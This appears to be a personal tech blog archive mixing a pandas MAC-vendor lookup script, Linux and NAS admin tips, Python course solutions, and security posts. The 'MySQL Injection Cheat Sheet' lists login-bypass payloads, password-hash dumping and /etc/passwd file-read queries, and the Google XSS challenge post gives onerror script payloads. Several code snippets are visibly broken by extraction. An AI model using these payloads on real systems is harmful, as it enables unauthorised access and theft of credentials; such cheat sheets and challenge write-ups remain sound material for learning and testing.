Saturday, November 28, 2015

Vendor lookup for AT&T: Who's on your network?

Happy Thanksgiving! 

Hope you enjoyed time with family, friends, relaxing or shopping this weekend.

Many times I find myself looking up a mac address on a network to figure out who the vendor is.
Identifying the vendor for a mac address is helpful when trying to identify nodes on your network which have obscure hostnames. This can also help identify mac spoofing and make investigating devices on your network much easier.

Typically, if I find myself performing a repetitive task I try to automate it using python. So let's get started. 

AT&T Provides their users with a nice table at the home page of the router which requires no authentication. Just access to the network.

AT&T Homepage Screenshot (Hostnames and second half of MAC omitted)

GOAL: Load table into dataframe and perform vendor lookup for each MAC

If you're not familiar with dataframes, I encourage you to read pandas data structures intro. At it's core a dataframe is a container for Series objects (lists) within pandas. The value of converting a table into a dataframe is the powerful collection of analytical methods associated with each dataframe object. 

For a while, I've looked for reasons to try pandas read_html method. Finally... the perfect occasion! read_html uses python modules such as lmxl, beautifulSoup, and html5lib to extract attributes out of a web page, transform the data, and load it into a dataframe.

Using chrome's inspection tool to look for a unique attribute I found width=800 was unique to the table.
Chrome inspector

TIP: read_html requires the <table> tag in your data. If you want to use pd.read_html and your data does not have a table tag you can add it by concatenating your data '<table> %s </table>' % data

Let's extract and load the data:

import requests
import pandas as pd

#Address for AT&T Modem
pull_macs_url = ''

#load data into dataframe using the width attribute
df = pd.read_html(pull_macs_url, attrs={'width':'800'}, header=0)[0]

Let's verify our data loaded by printing out the dataframe.


Device IPv4 Address / Name MAC Address Status Connection Allocation
0 / removed 40:b7:f3:removed on Ethernet dhcp
1 / removed bc:c8:10:removed on Ethernet dhcp
2 / removed 00:23:74:removed on HPNA dhcp
3 / removed 00:1f:c4:removed on HPNA dhcp

Success! We have our dataframe, now we need to:

  1. Isolate the MAC Addresses into a single Series
  2. Find a MAC database
  3. Write a function to apply to our dataframe which will run against the MAC Addresses
  4. Add the vendor to a new Series (column) in the dataframe.
To Isolate the MAC Addresses we simply retrieve the column in the dataframe (This can be done in one step later, but for clarity I've made this a separate step)
mac_addresses = df['MAC Address']

The MAC Vendor API I found is located at They provide 10,000 requests per day and no registration or API key is required. A sample request might look like:

If cannot associate a vendor to a MAC it will return a 404. This is good to know so we can check the status code in our function.

Here is the function I went with:

def vendor_loookup(mac):
    from urllib.parse import quote_plus
    vendor = None
        vendor_lookup = '' % quote_plus(mac)
        vendor_response = requests.get(vendor_lookup)
        if vendor_response.status_code != 200:
            vendor = 'No Vendor Found'
            vendor = vendor_response.text
        vendor = 'Error'
    return vendor

Now we need to apply our function to the MAC addresses, add the vendor to a new column and display the results

df['Vendor'] = mac_addresses.apply(vendor_loookup)

Device IPv4 Address / Name MAC Address Status Connection Allocation Vendor
1 / removed bc:c8:10:removed on Ethernet dhcp CISCO SPVTG
2 /removed00:23:74:removed on HPNA dhcp ARRIS GROUP, INC.
5 / removed 00:19:9d:removed off Wireless dhcp VIZIO, INC.
14 / removed 90:b6:86:removed off Wireless dhcp MURATA MANUFACTURING CO., LTD.
15 / removed 00:22:5f:removed on Wireless dhcp LITEON TECHNOLOGY CORPORATION
16 / removed 5c:f6:dc:removed on Wireless static SAMSUNG ELECTRONICS CO.,LTD
17 / removed c6:12:f5:removed on Ethernet dhcp No Vendor Found
18 / removed 18:59:33:removed on Ethernet dhcp CISCO SPVTG
19 / removed bc:c8:10:removed on Ethernet dhcp CISCO SPVTG
20 / removed 00:1f:a7:removed on Wireless dhcp SONY COMPUTER ENTERTAINMENT INC.
21 / removed f0:24:75:removed off Wireless dhcp APPLE, INC.
22 / removed 30:59:b7:removed off Wireless dhcp MICROSOFT

Now we have our mac addresses associated with vendors. Time to harness the power of pandas and group by vendor to help illustrate groupings.

Vendor_DF = pd.DataFrame(df.groupby(['Vendor', 'Device IPv4 Address / Name', 'MAC Address']).size())
Vendor_DF = Vendor_DF.drop(0, axis=1)

And finally... we have MAC addresses grouped by vendor. This can help identify rogue nodes and provide insight to what devices are on your network. 

Vendor Device IPv4 Address / Name MAC Address
APPLE, INC. / bobs-iPad f0:24:75:removed / macbook ac:bc:32:removed / removed 7c:d1:c3:removed
ARRIS GROUP, INC. / removed 40:b7:f3:removed / removed 00:23:74:removed / removed 00:1f:c4:removed / removed 00:25:f1:removed / removed cc:7d:37:removed
CISCO SPVTG / removed 18:59:33:removed / removed bc:c8:10:removed / Cisco_AP_ATT bc:c8:10:removed
GAINSPAN CORP. / removed 00:1d:c9:removed
H&D WIRELESS / removed 78:c4:0e:removed
HEWLETT PACKARD / removed 6c:c2:17:removed / removed 3c:4a:92:removed
LG INNOTEK / removed 94:44:44:removed
MICROSOFT / Xbox-SystemOS 30:59:b7:removed / Xbox-SystemOS 30:59:b7:removed
MURATA MANUFACTURING CO., LTD. / removed 90:b6:86:removed / removed 90:b6:86:removed
No Vendor Found / removed c6:12:f5:removed / removed c6:12:f5:removed / removed c6:12:f5:removed / removed c6:12:f5:removed / removed c6:12:f5:removed / removed c6:12:f5:removed / removed c6:12:f5:removed / removed c4:2f:ac:removed
SAMSUNG ELECTRO MECHANICS / removed dc:71:44:removed
SAMSUNG ELECTRO MECHANICS CO., LTD. / removed f0:25:b7:removed
SAMSUNG ELECTRONICS CO.,LTD / removed 5c:f6:dc:removed / removed 38:2d:e8:removed
SHENZHEN BILIAN ELECTRONIC CO.,LTD / removed 20:f4:1b:removed
SONY COMPUTER ENTERTAINMENT INC. / removed 00:1f:a7:removed
VIZIO, INC. / removed 00:19:9d:removed / removed 00:19:9d:removed

This was a basic introduction to identifying nodes on your network and how to correlate mac addresses to vendors using pandas with python.

All code can found on my github account.

Tuesday, December 16, 2014

MySQL Injection Cheat Sheet: Bypass Login Screens

Bypassing Login Screens

SQL Injection 101, Login tricks
  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • ....
  • Login as different user (SM*)
    ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries

Common SQL Injections can be found at: (They also have a nice URL Encoder)

These more complex MySQL injections were taken from: Pentest Monkey
VersionSELECT @@version
CommentsSELECT 1; #comment
SELECT /*comment*/1;
Current UserSELECT user();
SELECT system_user();
List UsersSELECT user FROM mysql.user; — priv
List Password HashesSELECT host, user, password FROM mysql.user; — priv
Password CrackerJohn the Ripper will crack MySQL password hashes.
List PrivilegesSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges; — list user privsSELECT host, user, Select_priv, Insert_priv, Update_priv, Delete_priv, Create_priv, Drop_priv, Reload_priv, Shutdown_priv, Process_priv, File_priv, Grant_priv, References_priv, Index_priv, Alter_priv, Show_db_priv, Super_priv, Create_tmp_table_priv, Lock_tables_priv, Execute_priv, Repl_slave_priv, Repl_client_priv FROM mysql.user; — priv, list user privsSELECT grantee, table_schema, privilege_type FROM information_schema.schema_privileges; — list privs on databases (schemas)SELECT table_schema, table_name, column_name, privilege_type FROM information_schema.column_privileges; — list privs on columns
List DBA AccountsSELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘SUPER’;SELECT host, user FROM mysql.user WHERE Super_priv = ‘Y’; # priv
Current DatabaseSELECT database()
List DatabasesSELECT schema_name FROM information_schema.schemata; — for MySQL >= v5.0
SELECT distinct(db) FROM mysql.db — priv
List ColumnsSELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
List TablesSELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’
Find Tables From Column NameSELECT table_schema, table_name FROM information_schema.columns WHERE column_name = ‘username’; — find table which have a column called ‘username’
Select Nth RowSELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 0; # rows numbered from 0
SELECT host,user FROM user ORDER BY host LIMIT 1 OFFSET 1; # rows numbered from 0
Select Nth CharSELECT substr(‘abcd’, 3, 1); # returns c
Bitwise ANDSELECT 6 & 2; # returns 2
SELECT 6 & 1; # returns 0
ASCII Value -> CharSELECT char(65); # returns A
Char -> ASCII ValueSELECT ascii(‘A’); # returns 65
CastingSELECT cast(’1′ AS unsigned integer);
SELECT cast(’123′ AS char);
String ConcatenationSELECT CONCAT(‘A’,'B’); #returns AB
SELECT CONCAT(‘A’,'B’,'C’); # returns ABC
If StatementSELECT if(1=1,’foo’,'bar’); — returns ‘foo’
Case StatementSELECT CASE WHEN (1=1) THEN ‘A’ ELSE ‘B’ END; # returns A
Avoiding QuotesSELECT 0×414243; # returns ABC
Time DelaySELECT BENCHMARK(1000000,MD5(‘A’));
SELECT SLEEP(5); # >= 5.0.12
Make DNS RequestsImpossible?
Command ExecutionIf mysqld (<5.0) is running as root AND you compromise a DBA account you can execute OS commands by uploading a shared object file into /usr/lib (or similar).  The .so file should contain a User Defined Function (UDF).  raptor_udf.c explains exactly how you go about this.  Remember to compile for the target architecture which may or may not be the same as your attack platform.
Local File Access…’ UNION ALL SELECT LOAD_FILE(‘/etc/passwd’) — priv, can only read world-readable files.
SELECT * FROM mytable INTO dumpfile ‘/tmp/somefile’; — priv, write to file system
Hostname, IP AddressSELECT @@hostname;
Create UsersCREATE USER test1 IDENTIFIED BY ‘pass1′; — priv
Delete UsersDROP USER test1; — priv
Make User DBAGRANT ALL PRIVILEGES ON *.* TO test1@’%'; — priv
Location of DB filesSELECT @@datadir;
Default/System Databasesinformation_schema (>= mysql 5.0)

Tuesday, July 1, 2014

Google XSS Challenge Solutions/Answers

Level 1: Hello, world of XSS


Level 2: Persistence is key
post-content=<img src='foobar' onerror='alert("xss")'>

Level 3: That sinking feeling...
URL=' onerror='alert("xss")'>

Level 4: Context matters

Level 5: Breaking protocol

Level 6: Follow the X

Saturday, December 21, 2013

How to fix || clean broken packages with aptitude

Using aptitude for package management instead of apt-get, please note that it is bad practice to use aptitude and apt-get interchangeably, as they record separately the changes made by a user.

Open the Terminal from the linux terminal and start with the commands:sudo aptitude update && sudo aptitude install gtkorphan

The && is used to run the second command if the first command runs successfully.

Continue by running:sudo aptitude update && sudo aptitude upgrade

This is used to double-check that you have all the updates.

To clear out the broken packages use the command:sudo aptitude -f

It brings up a beautiful interface to search, navigate, install, update and otherwise to manage packages.

Use the commands on the screen to install all the updates. You may use the mouse or CTRL + T to open the menu. Also, you could use the arrow keys and the Enter key to navigate.

You can also install the Aptitude Package Manager if you want to use something like Synaptic. Just typeaptitude-gtk in the search field of the linux menu and click on Install package 'aptitude-gtk'. You can then find it under the Administration menu.

You may also use other commands to:

  • install software for your system, with needed dependencies as well: sudo aptitude install
  • remove packages as well as orphaned dependencies: sudo aptitude remove 
  • remove packages and orphaned dependencies, as well as any configuration files left behind: sudo aptitude purge
  • search for packages in the local apt package lists: sudo aptitude search package-name 
  • show details about a package: sudo aptitude show package-name
  • update the local packages lists: sudo aptitude update
  • upgrade any installed packages that have been updated: sudo aptitude upgrade
  • upgrade packages, even if it means uninstalling certain packages: sudo aptitude dist-upgrade 
  • delete only out-of-date packages, but keep current ones: sudo aptitude autoclean
  • delete any downloaded files necessary for installing the software on your system: sudo aptitude clean
  • fix a package at it’s current version, and don’t update it: sudo aptitude hold

Friday, November 22, 2013

IP Forwarding/NAT Translation for MAC OS

Ever need to make IP A think its talking to IP B?

Here is how to set it up for Mac's

First you create a local loopback interface:
sudo ifconfig lo0 <IP A> alias

Then you add the following rule:
sudo ipfw add fwd <source IP>,80 tcp from me to <IP B> dst-port 80

Change the ports/protocols as needed.

Tuesday, November 5, 2013

Monitoring a webpage through curl, sleep, and tail

There may come a time when you want to take in the results of a web page and continuously monitor it through Linux . Here's how to do it.

For linux:

Create a script with a .sh extension and add this code - for example:

press i to insert
copy and paste the code below (edit to your liking)

while true
  curl '' | egrep "Multiple|Results|OrJustOne" > results3.txt
  sleep 5
) &


Then tail -f the output file.

tail -f results3.txt

Saturday, September 7, 2013

Mounting a linux share with Active Directory Permissions

This blog outlines the steps for mounting a share in linux while allowing a user to authenticate with their windows active directory credentials. They still need to type a password in to mount the share, but their AD permissions will be recognized. Thanks goes Mike C for putting this together.

1. Install Centrify if on domain to be able to authenticate with it for windows access.

2. Log into Linux after joining domain and run: id <username> to see your UID and GID.

3. Set these in your unix tab of your AD <username>

4. mkdir <local folder name> (e.g. mkdir ~/publicshare)

5. sudo mount.cifs \\\\SERVER/Folder1/publicshare/ ~/publicshare --verbose -o user=<username> (otherwise it will try to authenticate as root, and the \\\\ were needed because BASH was interpreting it as only one \).

6. BOOM, use the share.

7. umount ~/publicshare to unmount

If you have any questions, please post them in the comments section below.

Sunday, July 7, 2013 solutions (Google Python Day 1 lecture)

Couldn't find much documentation regarding the solutions, so here are mine. If you have questions or trouble getting your code to work post in the comments and i'll try to help.

#!/usr/bin/python -tt
# Copyright 2010 Google Inc.
# Licensed under the Apache License, Version 2.0

# Google's Python Class

# Basic list exercises
# Fill in the code for the functions below. main() is already set up
# to call the functions with a few different inputs,
# printing 'OK' when each function is correct.
# The starter code for each function includes a 'return'
# which is just a placeholder for your code.
# It's ok if you do not complete all the functions, and there
# are some additional functions to try in

# A. match_ends
# Given a list of strings, return the count of the number of
# strings where the string length is 2 or more and the first
# and last chars of the string are the same.
# Note: python does not have a ++ operator, but += works.
def match_ends(words):
  counter = 0
  for word in words:
    if len(word) >= 2 and word[0] == word[-1:]:
      counter += 1
  return counter

# B. front_x
# Given a list of strings, return a list with the strings
# in sorted order, except group all the strings that begin with 'x' first.
# e.g. ['mix', 'xyz', 'apple', 'xanadu', 'aardvark'] yields
# ['xanadu', 'xyz', 'aardvark', 'apple', 'mix']
# Hint: this can be done by making 2 lists and sorting each of them
# before combining them.
def front_x(words):
  xwords = []
  otherwords = []
  for word in words:
    if word[0] == 'x':
  return xwords

# C. sort_last
# Given a list of non-empty tuples, return a list sorted in increasing
# order by the last element in each tuple.
# e.g. [(1, 7), (1, 3), (3, 4, 5), (2, 2)] yields
# [(2, 2), (1, 3), (3, 4, 5), (1, 7)]
# Hint: use a custom key= function to extract the last element form each tuple.
def sort_last(tuples):
    def myfun(s):
      return s[len(s)-1]
    return sorted(tuples, key=myfun)

# Simple provided test() function used in main() to print
# what each function returns vs. what it's supposed to return.
def test(got, expected):
  if got == expected:
    prefix = ' OK '
    prefix = '  X '
  print '%s got: %s expected: %s' % (prefix, repr(got), repr(expected))

# Calls the above functions with interesting inputs.
def main():
  print 'match_ends'
  test(match_ends(['aba', 'xyz', 'aa', 'x', 'bbb']), 3)
  test(match_ends(['', 'x', 'xy', 'xyx', 'xx']), 2)
  test(match_ends(['aaa', 'be', 'abc', 'hello']), 1)

  print 'front_x'
  test(front_x(['bbb', 'ccc', 'axx', 'xzz', 'xaa']),
       ['xaa', 'xzz', 'axx', 'bbb', 'ccc'])
  test(front_x(['ccc', 'bbb', 'aaa', 'xcc', 'xaa']),
       ['xaa', 'xcc', 'aaa', 'bbb', 'ccc'])
  test(front_x(['mix', 'xyz', 'apple', 'xanadu', 'aardvark']),
       ['xanadu', 'xyz', 'aardvark', 'apple', 'mix'])

  print 'sort_last'
  test(sort_last([(1, 3), (3, 2), (2, 1)]),
       [(2, 1), (3, 2), (1, 3)])
  test(sort_last([(2, 3), (1, 2), (3, 1)]),
       [(3, 1), (1, 2), (2, 3)])
  test(sort_last([(1, 7), (1, 3), (3, 4, 5), (2, 2)]),
       [(2, 2), (1, 3), (3, 4, 5), (1, 7)])

if __name__ == '__main__':

Monday, July 1, 2013

Codeacademy (Python) Student becomes teacher

[Codecacademy] Python Challenge 1

Student Becomes the Teacher

Had some trouble finding tutorials so posted after I completed.


1. Lesson Number One

Fill out three Dictionaries named Lloyd , Alice and Tyler . Give each dictionary the keys "name," "Homework," "quizzes," and "tests." Have the "name" Key Reference the name of the student and the others keys Reference an empty list ''' Lloyd = {"name": "Lloyd", "homework": [], "quizzes": [], "tests": []} Alice = {"name": "Alice", "homework": [], "quizzes": [], "tests": []} Tyler = {"name": "Tyler", "homework": [], "quizzes": [], "tests": []} '''
2. What's the Score?

Now fill your Lloyd dictionary with the Appropriate Scores. To save you some time, We've filled out the rest for you.

Homework: 90, 97, 75, 92
Quizzes: 88, 40, 94
Test Scores: 75, 90

Lloyd = { "Name": "Lloyd", "Homework": [90, 97, 75, 92], "Quizzes": [88, 40, 94], "Tests": [75, 90] } 
Alice = { "Name": "Alice", "Homework": [100,92,98,100], "Quizzes": [82,83,91], "Tests": [89,97] } 
Tyler = { "Name": "Tyler", "Homework": [0,87,75,22], "Quizzes": [0,75,78], "Tests": [100,100] }

3. Put It TogetherNow put the Lloyd, Alice and Tyler Dictionaries in a List called students
students = [Lloyd, Alice, Tyler]

4.Print out All the Data in your students

''' students = [Lloyd, Alice, Tyler] for x in students: print x["name"], print x["homework"], print x["quizzes"], print x["tests"] '''

Just Average

1. It's Okay to be Average

First, Write a function average that takes the average value of a List filled only with Numbers. ''' def average (list): aver = sum (list) / len (list) return aver '''

2. Just Weight and See (weighted)

Write the function getAverage student that takes a dictionary as input and calculates his / her weighted average. Use your average function to Help. Homework is 10%, quizzes are 30% and tests are 60%. ''' def getAverage (dic): weight_average = (average (dic ["homework"]) * 0.1 + average (dic ["quizzes"]) * 0.3 + average (dic ["tests"]) * 0.6) return weight_average '''

3.Sending a Letter

Now Write a getLetterGrade function that takes Score as input and Returns a String with the letter that that student should Receive Grade. ''' def getLetterGrade (score): if 90 <= round (score): return "A" elif 80 <= round (score) <90: return "B" elif 70 <= round (score) <80: return "C" elif 60 <= round (score) <70: return "D" else: return "F" '''4. Part of the Whole Write a function called getClassAverage that takes your student List as input to Compute the average of your entire Class. ''' def getClassAverage (list): sum = 0 for x in list: sum = sum + getAverage (x) return sum / len (list) '''

5. How is Everybody Doing?

Finally, run your getClassAverage function on your students to Print out the Numerical Grade Grade AND the letter. ''' Lloyd = { "Name": "Lloyd", "Homework": [90,97,75,92], "Quizzes": [88,40,94], "Tests": [75,90] } Alice = { "Name": "Alice", "Homework": [100,92,98,100], "Quizzes": [82,83,91], "Tests": [89,97] } Tyler = { "Name": "Tyler", "Homework": [0,87,75,22], "Quizzes": [0,75,78], "Tests": [100,100] } def average (stuff): return sum (stuff) / len (stuff) def getLetterGrade (score): if 90 <= round (score): return "A" elif 80 <= round (score) <90: return "B" elif 70 <= round (score) <80: return "C" elif 60 <= round (score) <70: return "D" else: return "F" def getAverage (kid): bar = average return bar (kid ["homework"]) * .1 + bar (kid ["quizzes"]) * .3 + bar (kid ["tests"]) * .6 students = [Lloyd, Alice, Tyler] def getClassAverage (list): sum = 0 for x in list: sum = sum + getAverage (x) return sum / len (list) print getClassAverage (students)

Sunday, June 16, 2013

Restore QNAP administrative page by unforcing SSL

QNAP – Force secure connection (SSL) only

I played with SSL setting of web – administration of my NAS (QNAP). And when I switched on force secure connection parameter, I was through up from the site and was not able to open back it.

You have two options to remove the parameter to previous value:

First option is just reset your NAS to default settings, but the option will remove all your settings.

And second is more difficult but without loosing all your settings. And the option was suitable for me.

1. Log into your QNAP device using SSH or Telnet, for instance by using Putty.

2. Open config file in editor: # vi /mnt/HDA_ROOT/.config/uLinux.conf

3. Press i button to enter to insert mode

4. Change line: Force SSL = 1 to 0

5. Press “esc” to exit from insert mode

6. Press :wq to save file

This is it, you can now open web administration by regular way.